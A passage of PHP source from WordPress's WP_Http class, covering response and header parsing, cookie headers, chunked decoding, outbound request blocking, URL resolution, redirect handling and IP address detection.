* @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'.
* A WP_Error instance upon error.
*/
public function head( $url, $args = array() ) {
$defaults = array( 'method' => 'HEAD' );
$parsed_args = wp_parse_args( $args, $defaults );
return $this->request( $url, $parsed_args );
}
/**
* Parses the responses and splits the parts into headers and body.
*
* @since 2.7.0
*
* @param string $response The full response string.
* @return array {
* Array with response headers and body.
*
* @type string $headers HTTP response headers.
* @type string $body HTTP response body.
* }
*/
public static function processResponse( $response ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid
$response = explode( "\r\n\r\n", $response, 2 );
return array(
'headers' => $response[0],
'body' => isset( $response[1] ) ? $response[1] : '',
);
}
/**
* Transforms header string into an array.
*
* @since 2.7.0
*
* @param string|array $headers The original headers. If a string is passed, it will be converted
* to an array. If an array is passed, then it is assumed to be
* raw header data with numeric keys with the headers as the values.
* No headers must be passed that were already processed.
* @param string $url Optional. The URL that was requested. Default empty.
* @return array {
* Processed string headers. If duplicate headers are encountered,
* then a numbered array is returned as the value of that header-key.
*
* @type array $response {
* @type int $code The response status code. Default 0.
* @type string $message The response message. Default empty.
* }
* @type array $newheaders The processed header data as a multidimensional array.
* @type WP_Http_Cookie[] $cookies If the original headers contain the 'Set-Cookie' key,
* an array containing `WP_Http_Cookie` objects is returned.
* }
*/
public static function processHeaders( $headers, $url = '' ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid
// Split headers, one per array element.
if ( is_string( $headers ) ) {
// Tolerate line terminator: CRLF = LF (RFC 2616 19.3).
$headers = str_replace( "\r\n", "\n", $headers );
/*
* Unfold folded header fields. LWS = [CRLF] 1*( SP | HT ) <US-ASCII SP, space (32)>,
* <US-ASCII HT, horizontal-tab (9)> (RFC 2616 2.2).
*/
$headers = preg_replace( '/\n[ \t]/', ' ', $headers );
// Create the headers array.
$headers = explode( "\n", $headers );
}
$response = array(
'code' => 0,
'message' => '',
);
/*
* If a redirection has taken place, The headers for each page request may have been passed.
* In this case, determine the final HTTP header and parse from there.
*/
for ( $i = count( $headers ) - 1; $i >= 0; $i-- ) {
if ( ! empty( $headers[ $i ] ) && false === strpos( $headers[ $i ], ':' ) ) {
$headers = array_splice( $headers, $i );
break;
}
}
$cookies = array();
$newheaders = array();
foreach ( (array) $headers as $tempheader ) {
if ( empty( $tempheader ) ) {
continue;
}
if ( false === strpos( $tempheader, ':' ) ) {
$stack = explode( ' ', $tempheader, 3 );
$stack[] = '';
list( , $response['code'], $response['message']) = $stack;
continue;
}
list($key, $value) = explode( ':', $tempheader, 2 );
$key = strtolower( $key );
$value = trim( $value );
if ( isset( $newheaders[ $key ] ) ) {
if ( ! is_array( $newheaders[ $key ] ) ) {
$newheaders[ $key ] = array( $newheaders[ $key ] );
}
$newheaders[ $key ][] = $value;
} else {
$newheaders[ $key ] = $value;
}
if ( 'set-cookie' === $key ) {
$cookies[] = new WP_Http_Cookie( $value, $url );
}
}
// Cast the Response Code to an int.
$response['code'] = (int) $response['code'];
return array(
'response' => $response,
'headers' => $newheaders,
'cookies' => $cookies,
);
}
/**
* Takes the arguments for a ::request() and checks for the cookie array.
*
* If it's found, then it upgrades any basic name => value pairs to WP_Http_Cookie instances,
* which are each parsed into strings and added to the Cookie: header (within the arguments array).
* Edits the array by reference.
*
* @since 2.8.0
*
* @param array $r Full array of args passed into ::request()
*/
public static function buildCookieHeader( &$r ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid
if ( ! empty( $r['cookies'] ) ) {
// Upgrade any name => value cookie pairs to WP_HTTP_Cookie instances.
foreach ( $r['cookies'] as $name => $value ) {
if ( ! is_object( $value ) ) {
$r['cookies'][ $name ] = new WP_Http_Cookie(
array(
'name' => $name,
'value' => $value,
)
);
}
}
$cookies_header = '';
foreach ( (array) $r['cookies'] as $cookie ) {
$cookies_header .= $cookie->getHeaderValue() . '; ';
}
$cookies_header = substr( $cookies_header, 0, -2 );
$r['headers']['cookie'] = $cookies_header;
}
}
/**
* Decodes chunk transfer-encoding, based off the HTTP 1.1 specification.
*
* Based off the HTTP http_encoding_dechunk function.
*
* @link https://tools.ietf.org/html/rfc2616#section-19.4.6 Process for chunked decoding.
*
* @since 2.7.0
*
* @param string $body Body content.
* @return string Chunked decoded body on success or raw body on failure.
*/
public static function chunkTransferDecode( $body ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid
// The body is not chunked encoded or is malformed.
if ( ! preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', trim( $body ) ) ) {
return $body;
}
$parsed_body = '';
// We'll be altering $body, so need a backup in case of error.
$body_original = $body;
while ( true ) {
$has_chunk = (bool) preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', $body, $match );
if ( ! $has_chunk || empty( $match[1] ) ) {
return $body_original;
}
$length = hexdec( $match[1] );
$chunk_length = strlen( $match[0] );
// Parse out the chunk of data.
$parsed_body .= substr( $body, $chunk_length, $length );
// Remove the chunk from the raw data.
$body = substr( $body, $length + $chunk_length );
// End of the document.
if ( '0' === trim( $body ) ) {
return $parsed_body;
}
}
}
/**
* Determines whether an HTTP API request to the given URL should be blocked.
*
* Those who are behind a proxy and want to prevent access to certain hosts may do so. This will
* prevent plugins from working and core functionality, if you don't include `api.wordpress.org`.
*
* You block external URL requests by defining `WP_HTTP_BLOCK_EXTERNAL` as true in your `wp-config.php`
* file and this will only allow localhost and your site to make requests. The constant
* `WP_ACCESSIBLE_HOSTS` will allow additional hosts to go through for requests. The format of the
* `WP_ACCESSIBLE_HOSTS` constant is a comma separated list of hostnames to allow, wildcard domains
* are supported, eg `*.wordpress.org` will allow for all subdomains of `wordpress.org` to be contacted.
*
* @since 2.8.0
*
* @link https://core.trac.wordpress.org/ticket/8927 Allow preventing external requests.
* @link https://core.trac.wordpress.org/ticket/14636 Allow wildcard domains in WP_ACCESSIBLE_HOSTS
*
* @param string $uri URI of url.
* @return bool True to block, false to allow.
*/
public function block_request( $uri ) {
// We don't need to block requests, because nothing is blocked.
if ( ! defined( 'WP_HTTP_BLOCK_EXTERNAL' ) || ! WP_HTTP_BLOCK_EXTERNAL ) {
return false;
}
$check = parse_url( $uri );
if ( ! $check ) {
return true;
}
$home = parse_url( get_option( 'siteurl' ) );
// Don't block requests back to ourselves by default.
if ( 'localhost' === $check['host'] || ( isset( $home['host'] ) && $home['host'] === $check['host'] ) ) {
/**
* Filters whether to block local HTTP API requests.
*
* A local request is one to `localhost` or to the same host as the site itself.
*
* @since 2.8.0
*
* @param bool $block Whether to block local requests. Default false.
*/
return apply_filters( 'block_local_requests', false );
}
if ( ! defined( 'WP_ACCESSIBLE_HOSTS' ) ) {
return true;
}
static $accessible_hosts = null;
static $wildcard_regex = array();
if ( null === $accessible_hosts ) {
$accessible_hosts = preg_split( '|,\s*|', WP_ACCESSIBLE_HOSTS );
if ( false !== strpos( WP_ACCESSIBLE_HOSTS, '*' ) ) {
$wildcard_regex = array();
foreach ( $accessible_hosts as $host ) {
$wildcard_regex[] = str_replace( '\*', '.+', preg_quote( $host, '/' ) );
}
$wildcard_regex = '/^(' . implode( '|', $wildcard_regex ) . ')$/i';
}
}
if ( ! empty( $wildcard_regex ) ) {
return ! preg_match( $wildcard_regex, $check['host'] );
} else {
return ! in_array( $check['host'], $accessible_hosts, true ); // Inverse logic, if it's in the array, then don't block it.
}
}
/**
* Used as a wrapper for PHP's parse_url() function that handles edgecases in < PHP 5.4.7.
*
* @deprecated 4.4.0 Use wp_parse_url()
* @see wp_parse_url()
*
* @param string $url The URL to parse.
* @return bool|array False on failure; Array of URL components on success;
* See parse_url()'s return values.
*/
protected static function parse_url( $url ) {
_deprecated_function( __METHOD__, '4.4.0', 'wp_parse_url()' );
return wp_parse_url( $url );
}
/**
* Converts a relative URL to an absolute URL relative to a given URL.
*
* If an Absolute URL is provided, no processing of that URL is done.
*
* @since 3.4.0
*
* @param string $maybe_relative_path The URL which might be relative.
* @param string $url The URL which $maybe_relative_path is relative to.
* @return string An Absolute URL, in a failure condition where the URL cannot be parsed, the relative URL will be returned.
*/
public static function make_absolute_url( $maybe_relative_path, $url ) {
if ( empty( $url ) ) {
return $maybe_relative_path;
}
$url_parts = wp_parse_url( $url );
if ( ! $url_parts ) {
return $maybe_relative_path;
}
$relative_url_parts = wp_parse_url( $maybe_relative_path );
if ( ! $relative_url_parts ) {
return $maybe_relative_path;
}
// Check for a scheme on the 'relative' URL.
if ( ! empty( $relative_url_parts['scheme'] ) ) {
return $maybe_relative_path;
}
$absolute_path = $url_parts['scheme'] . '://';
// Schemeless URLs will make it this far, so we check for a host in the relative URL
// and convert it to a protocol-URL.
if ( isset( $relative_url_parts['host'] ) ) {
$absolute_path .= $relative_url_parts['host'];
if ( isset( $relative_url_parts['port'] ) ) {
$absolute_path .= ':' . $relative_url_parts['port'];
}
} else {
$absolute_path .= $url_parts['host'];
if ( isset( $url_parts['port'] ) ) {
$absolute_path .= ':' . $url_parts['port'];
}
}
// Start off with the absolute URL path.
$path = ! empty( $url_parts['path'] ) ? $url_parts['path'] : '/';
// If it's a root-relative path, then great.
if ( ! empty( $relative_url_parts['path'] ) && '/' === $relative_url_parts['path'][0] ) {
$path = $relative_url_parts['path'];
// Else it's a relative path.
} elseif ( ! empty( $relative_url_parts['path'] ) ) {
// Strip off any file components from the absolute path.
$path = substr( $path, 0, strrpos( $path, '/' ) + 1 );
// Build the new path.
$path .= $relative_url_parts['path'];
// Strip all /path/../ out of the path.
while ( strpos( $path, '../' ) > 1 ) {
$path = preg_replace( '![^/]+/\.\./!', '', $path );
}
// Strip any final leading ../ from the path.
$path = preg_replace( '!^/(\.\./)+!', '', $path );
}
// Add the query string.
if ( ! empty( $relative_url_parts['query'] ) ) {
$path .= '?' . $relative_url_parts['query'];
}
// Add the fragment.
if ( ! empty( $relative_url_parts['fragment'] ) ) {
$path .= '#' . $relative_url_parts['fragment'];
}
return $absolute_path . '/' . ltrim( $path, '/' );
}
/**
* Handles an HTTP redirect and follows it if appropriate.
*
* @since 3.7.0
*
* @param string $url The URL which was requested.
* @param array $args The arguments which were used to make the request.
* @param array $response The response of the HTTP request.
* @return array|false|WP_Error An HTTP API response array if the redirect is successfully followed,
* false if no redirect is present, or a WP_Error object if there's an error.
*/
public static function handle_redirects( $url, $args, $response ) {
// If no redirects are present, or, redirects were not requested, perform no action.
if ( ! isset( $response['headers']['location'] ) || 0 === $args['_redirection'] ) {
return false;
}
// Only perform redirections on redirection http codes.
if ( $response['response']['code'] > 399 || $response['response']['code'] < 300 ) {
return false;
}
// Don't redirect if we've run out of redirects.
if ( $args['redirection']-- <= 0 ) {
return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) );
}
$redirect_location = $response['headers']['location'];
// If there were multiple Location headers, use the last header specified.
if ( is_array( $redirect_location ) ) {
$redirect_location = array_pop( $redirect_location );
}
$redirect_location = WP_Http::make_absolute_url( $redirect_location, $url );
// POST requests should not POST to a redirected location.
if ( 'POST' === $args['method'] ) {
if ( in_array( $response['response']['code'], array( 302, 303 ), true ) ) {
$args['method'] = 'GET';
}
}
// Include valid cookies in the redirect process.
if ( ! empty( $response['cookies'] ) ) {
foreach ( $response['cookies'] as $cookie ) {
if ( $cookie->test( $redirect_location ) ) {
$args['cookies'][] = $cookie;
}
}
}
return wp_remote_request( $redirect_location, $args );
}
/**
* Determines if a specified string represents an IP address or not.
*
* This function also detects the type of the IP address, returning either
* '4' or '6' to represent a IPv4 and IPv6 address respectively.
* This does not verify if the IP is a valid IP, only that it appears to be
* an IP address.
*
* @link http://home.deds.nl/~aeron/regex/ for IPv6 regex.
*
* @since 3.7.0
*
* @param string $maybe_ip A suspected IP address.
* @return int|false Upon success, '4' or '6' to represent a IPv4 or IPv6 address, false upon failure
*/
public static function is_ip_address( $maybe_ip ) {
if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $maybe_ip ) ) {
return 4;
}
if ( false !== strpos( $maybe_ip, ':' ) && preg_match( '/^(((?=.*(::))(?!.*\3.+\3))\3?|([\dA-F]{1,4}(\3|:\b|$)|\2))(?4){5}((?4){2}|(((2[0-4]|1\d|[1-9])?\d|25[0-5])\.?\b){4})$/i', trim( $maybe_ip, ' []' ) ) ) {
return 6;
}
return false;
}
}